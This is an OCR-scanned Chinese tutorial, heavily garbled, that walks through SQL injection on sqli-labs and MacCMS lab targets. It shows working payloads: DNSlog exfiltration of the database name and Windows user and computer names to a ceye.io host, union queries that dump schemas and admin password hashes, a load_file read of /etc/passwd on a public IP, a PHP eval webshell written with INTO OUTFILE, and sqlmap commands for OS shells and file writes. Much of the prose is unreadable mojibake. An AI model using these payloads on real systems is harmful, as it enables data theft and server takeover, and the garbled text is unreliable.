FREE: S BYDNSHREHT 4 FL G I —ME, RSCIUE — R R, KRB BRI
BIR: RURE R (R %) SQUIEN, fré 147 SSRF 4%

HEFEDNSTENF & - hitp://ceye.io - &4 —N =4 AT ping —AMRIRIZBECLe AT = 53848 T 1Y Fisk 4 BT

@®ceve

B Infroduce FiEilE -
= Logout
@ Payloads
| & Profile
EIDNS RSN R Usemame: 90a1540525¢a
B Records A
9da154d525ea © Email
0 Mobile:
pussaes
& Verification Verified
Last Login (UTC+0): 2021-07-08 13:46:24 2 Identifier Ismp.ceye.o

"o API Token 7080837411d7c0698af09d9453d16b4.

E DNS Rebinding: + New DNS



http://ceye.io

Infroduce

Payloads

API

DNS Rebinding

Records

HTTP Request

DNS Query

o The record is only saved for 6 hours and only the

ID

18938893

189388919

18938891

wn

18938891

189388914

18938891

PAF 2% F JUA ] B Dnslog fir & $04T 45 2

ast 100 it

ems are displayed

Download L Reload ¢,
MName
hashigi.lsxwnp.ceye.io
hashigi.lsxwnp.ceye.io
hashigi.lsxwnp.ceye.io
hashigi.lsxwnp.ceye.io
hashigi.lsxwnp.ceye.io

test lzxwnp.ceye.io
test lzxwnp.ceye.io
test lzxwnp.ceye.io
test lzxwnp.ceye.io

ping %COMPUTERNAME%.1lsxwnp.ceye.io - WINR % Fik B+ H L4 FR

ping %USERNAME%.1lsxwnp.ceye.io - WINRZ FIREU S HI & - 4

ping %COMPUTERNAME%.1sxwnp.ceye.io - WINRZE T H T % B XA H S0 R 4% .



ping %0S%.lsxwnp.ceye.io - WINRZ TFFIHEERAR B F. (Windows XP F1 Windows 2000 %124 Windows_NT.)

log.csdn.netiweixin_4

IAEBRMIFIH load_file()RREEmMysqIB#E EEPAT select load_file('\\\\requests.lsxwnp.ceye.io\\aaa'); HHH
“hashiqi” Bt A T E3E NI B #1E 4], B 44 Dnslogic 3% T3k

FEE RN Zload_file()R& HUwh i 2 rootB FR T4 A, B "my.ini" X4 T [secure_file_priv=""1 B N7, 4 W LA load_flie()
BT B RS 1 SCHE B B2 R

e 'Ssecurek’;




D MName Re

50033420 reqguest . 1.CEeyE.In 20

o UlsqlHabs® Fi3 Al

139.196.87.102:11207/Less-5/?id=1"' and (select load_file(concat('\\\\', (select
database()), '.lsxwnp.ceye.io\\abc'))) --+

o HEdnslogHE, KIsecurityBHE w2 if) Hisk

HTTP Request ID Name

DNS Query 715484 SECUITY. Smmm— Ceye 0
715483 security. Szme—rSceye. 0
715462 afanti. s ceye io
715461 afant]. Semm——"_ceye. o

TREMBENENITER AN LR FEHER LR, RIERRZREAER. EEZROFELZEEE Ubuntu T
#), dnslogH EWAHAE L.

Tt R F R RS BT 7E

1. BRBRBEEANR

2. REHRBRBEBR [root]
3. BUREAAE RSN

4. PHERURLALR

5. B AFE RWINDOWS IR 55 5%

H A FUE I 2 UL B &R T BLA A dnslogit /7 SQLIE A X IETEAN S LI | X 5 B8 H A~ 5 B S R 4K A !

BRREHBRMAFARENAS, ZRERERT . ZSEREXH, 7 XSS, WL i{T, SSRFLEKH A A LLSQLAE
ANBRET .

RBURREAN

EHREEFX D EREERGH T SHEFELER 7, 000 EEEREN ~ SRR BERFEROT AR L. BA—&
B AR R SR P A AR B R AR AUR, T B P R 7 382 CECE MBUR



BT, PR B I IR & B0 RS B, & X RGP 81 5 8 A P B B2 5 2 A Wl A 7 — AN 508 P A B roo st 47
A Fo e B RR P LA 25 AN il AT S R P LA = i 0 st RS B A 0 AR BT DA 5 BRAT TR B B 388 P 7 A PR A, BRATT R 4
A BN HE PE AR, B 2 S0 T RGBS R AU A P AR, ANURT AR P $088 P 38 v UK AR 25 88 SCAF AT 132 5 #R e

RGP . AREETE, XHRELER.

EERS o BANEEETE, XS R

B EEE WA mBUREAREE 2 —

AREERRAR—HEERGR " root .
BRI KA R — IR ERAMT root ##.
CHBERRR—$mERGM " root #.
RIS P s IR , BT Pt S04 Stk 2

AR R P [ — 04 P @ A P
Bk SR P R — 030 P P
CI 3 5K P TR — s e S ) - 2
BOSRFEA PG BEN , Fofth 2 R 2R

TR A PR AT R A ¥

MR R
IRk €/ B
R PATEAE
S BAE

Bt < S R B0 PR T HRAE MR — [ AR R R RERAE R B IE B HR KA, RIEHIEF B 5 R PR R K ]

MYSQLES P -F T3 X bk TR 3t B
S ULHE: ATEAE RBUIRE N B R — $H% e A WE B L e i 58

WEBMFA-http://127.0.0.1:8081/sqlilabs/
WEBM.FIB-http://127.0.0.1:8081/maccms8/

o IZIEHHIURE PPk A BANHE T HA (5 2 7 A 100l ) 80808 e R TRCFE Rl — AMMYS QL R T



(htte://127.0.0.1:8081/sqlilabs/Less-2/?id=-1 union select 1,m_name m_loginnum frem maccms.mac_manager--+

1

[ Postdata [ Referrer 4K OxHEX 3 X %URL 3 X BASES4 3B 15ert string to rep || sert replacing st | Replace All 2 ™=

okies~ (S5~ =2~ @ER~ QEEEES~ @RS SRty SR ATR- MESRE- (150

AHEIEEEASQLI-LABSHLIZ

Servicess | [No information available]

Welcome

SELECT * FROM users WHERE id=-1 union select 1,m_name,m_loginnum from maccms.mac_manager-- LIMIT 0,1
Your Login name:admin
Your Password:0

(‘http://127.0.0.1:8081/maccms

[] Postdata [] Referrer 4 OxHEX X & %URL 3 & (BASEGd 3 1sert string to replace| | Insert replacing string| ] Replace All
S ¢ < P

kies p CSS~ [I=%E- @mEFR~- QRIEE- @RV Amd- SR ATR- mESECE- (0/ET-

Services” | [No information available]

AHEEAERCMSES

r:" Ef??E-MS I m eighe- i

— soutlim BHRERETE

BH W Y AsE =2 @mE 3 NE ME AE  EE%

B3 EE[MYSQL]
BIEEA = SQLILABS
BIEEB = FHRCMS

SEPUSQLILABSEEI IVEN SR EX B3 5L CMS I 35 1) S04

payload -1 union select 1,user(),3--+



http://127.0.0.1:8081/sglilabs/Less-2/%id=-1 union select 1,user(),3

[] Post data [ Referrer 4 OxHEX & %URL 3B 4 BASEGd 3B sert g to replace sert replac a| ] Replace All 2
tesv p CSs [J@#~ @EH~ GREES- [QEEhiE- SRy SEily ATE- mEERRE- |-

Servicess | [No information available)

LECT * FROM users WHERE id=-Tunion select 1,user(),3 LIMIT 0,1
Your Login name:root@localhost
Your Passwoy

payload -1 union select 1,group_concat(SCHEMA NAME),3 from information_schema.schemata--+

@ Lload URL ’http:f',-'2?.0.3_‘::6081_-":c- labs/Less-2/2id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -
B splituRL .
Execute ’
[ Postdata [] Referrer 4 OxHEX ¥ & %URL 3 4 BASEGd 3B [ Replace All M ;¥
D=mE~ dCookiesw » CsS» [IBM- @ELA~ QREEE~ [ =D~ AiFcy 2 ATE- MEEEE- LiEE- v

JIETCREET - Servicess | [No information available]

Welcome
SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata LIMIT 0,1

Your Login
name:information schema,12345678,74cms,beescms, cfstat,challenges,cltphp_db,cnvddm,damicms,db_1,dedecmsv57ut
bbs,jeesns,jf1 23,, metinfo514,mysql,newdb,niushop b2c,ofcms,performance schema,phpyun,pikachu,piwigo,pk
Your Password:3 hitps://bl IR AN e

payload -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='maccms' -

-+



Ay TIESEAHE ¥  Less-2 *“Error Based- Intige... X | FSCMS w4
€ 127.00.1 ml> FEREMGIORKESE R T (=~ C @ e B ¥ A@- 3 B G- & - -5 - O @ =
INT = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LF-
& Load URL [ ‘http://127.0.0.1:8081/sqlilabs/Less-2/%id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='maccms =
‘_AJ Split URL *

Execute

[l Postdata []Referrer 4 OxHEX 3B 4% %URL M 4 BASEG4 3B ¢ string ¢ & Replace All 3B | 3

@ERE~ LCockes pCsSy [JESE~ @BR~ QRUFEE~ EREVE Simo SR KT8~ MESELE- (S0 L4
HeTCREFT - Servicess | [No information available]

Welcome
SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="maccms" LIMIT 0,1

Your Login

Your Password:3

SERIES

payload -1 union select 1,group_concat(column_name),3 from information_schema.columns where

table_name="'mac_manager' and table_schema='maccms'--+

Load URL [ httpy//127.0.0.1:8081/sqlilabs/Less-2/?%id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="maccms’ and table_name='mac_manager’
Split URL
Execute
- :
[ Post data [] Referrer 4 OxHEX 3 4 %URL ¥ 4 BASES4 3 t string ¢ t |IZ Replace All X ;3

Ef~ ACookies~ » CSS~ [J=8~ @ER~- QFRNEE- GRS SRl SR8 AT WESER

ETCREFT - Servicest | [Noinformation available]

Welcome
SELECT * FROM users WHERE id=-1 uglon select 1,group_concat(column_name),3 from information_schema.columns where tab

table_name="mac_manager’ LIMIT 0,1
Your Login name:m _id,m name, [gisEESIMeIfsl m levels,m random,m status,m logintime,m_loginip,m loginnum
Your Password:3

payload -1 union select 1,m_name,m_password from maccms.mac_manager--+



http://127.0.0.1:8081/sqlilabs/Lese-2/7id=-1 union select 1.m_name m_password from macems.mac_manager

[J Post data [ Referrer 4 OxHEX ¥» & %URL 3 @& BASESY 3B | t f t t :E Replace All 2

lesv p CSS (I8~ @ER- QRTES- EROME- /FEr SRS KTS- MSEERE- (LER-

Services® | [No information available]

Welcome
SELECT * FROM users WHERE id=-1 union select 1,m_name,m_password from maccms.mac_manager LIMIT 0,1

Your Login name:
Your Password:21232f297a57a5a743894a0e4a801fc3

WV : WEBMAAFERPIREN R RBOUFERERS(EITEN)

http://139.196.87.102:11207/Less-2/?id=-1%20union%20select%201,load_file(%27/etc/passwd%27),3--+

<« C @ O & 139.196.87.102 B & n D ® & ¥ m =
@=Em U EmeTa-aR. Dkl Dawss

Welcome
Your Login name:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin
/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin
/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var
/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin
/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:
/bin/false mysql:x:102:105:MySQL Server,,;/nonexistent:/bin/false
Your Password:3

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,<?php eval($ _POST[x])>,3 into outfile
'D:/phpstudy/PHPTutorial/WWW/shell.php'--+



o 1 <?php ewval($ POST[x]);?> 3
5 I

H A :WEBR H %42 3K B : % B 3244 [phpinfo.php # & “script_filename”] 1k 4% & 7 4% & 5048 1 i & BUh |4 A E ,
B,

SQLMAPE R FREN & H i 4
SQLMAP

--current-user H47jHF

--is-dba RENEHR

--file-read MREEIEAN

--file-write MAHE A

--file-dest BABIRKRZE

--sql-shell #47sqlind L&

--os-shell #fTshellZus

--os-cmd=ver HE X4
--0s-cmd=0SCMD/ / $AT#AIE R A dr &
--os-shell //R¥—*osshell

--os-pwn //pwn, R#EmsfFHshells#&vnc
--os-smbrelay //R#msfTHshells#Fvnc
--os-bof //FHEIEEFED

--priv-esc //HEERN

-reg-read -reg-add -reg-del -reg-key //itBUEMHE
--reg-value --reg-data --reg-type

python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-read "d:/test.txt"

python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-write "f:/host.txt" --file-dest "D:
/phpstudy/PHPTutorial/WWW/sqlilabs/1.txt"

python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --sql-shell

select * from mysql.user

python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --os-shell

SQLIEN -Z 2 BB B 5



R E-BEAE

RIARA
SHRA --> FEWAE
HE R A --> payloadBaiiEa) K Mo B %
BRI R --> B8 R N HI R AR S i U7 2
HIESQLE#HH R --> BEE SR ERE L ; WiREE A, ATS TRENRZE] TRERFK, TikH EFE iE s ]
B RTINS --> payloadh i thE LU R 4RAD 5 R 1%
BEREHFERESE --> EARRAMEEER
HENR 2 B AR -->  RAPR AT % 5 R — A R B IR R S AR
BN EOHE PR U i R -->  EEAFRGR
BT B0 B A --> RISRAF[BE. mEERH. XHR5%]

FEERMER-BREAEEERE --> FREBEEEHERAKSHED, K GERFBMME)E G EERR.

WEBHKUIR & 5 - SUAF AR , i & AT S -->  REFGHRE G kEget-webshell

I REJE 8 R BURS SR E K E -->  R#Ewebshellit— P HIBATEEW REE T SEURFARHIIRE 5 , AN F 520 H0 I of P 3 R S 3 [ AR IR
ST 5 IR ST I 2 et UUE |

B R B, BRI BARE, BEH MRS, H— D AR BRI A, BRI RBER S

LIFRIBTRESQUENTAER  --> SNEFTHREREBLRRAER S A, REE A ERRIR, AT mME, BEEnIH.
2. B RR B R SQUIEE AT L2 --> FABIEER RS BN BB LRV ESR , & ERE SR R E B K77
3. ¥ SQLIEA R T A Tk AT#R4ET -->  BRAEBLAKNRRME

4. By SQUIE NG 1 48 B F WAF --> HESIEMERERNZR SRR T REMBT IEEN
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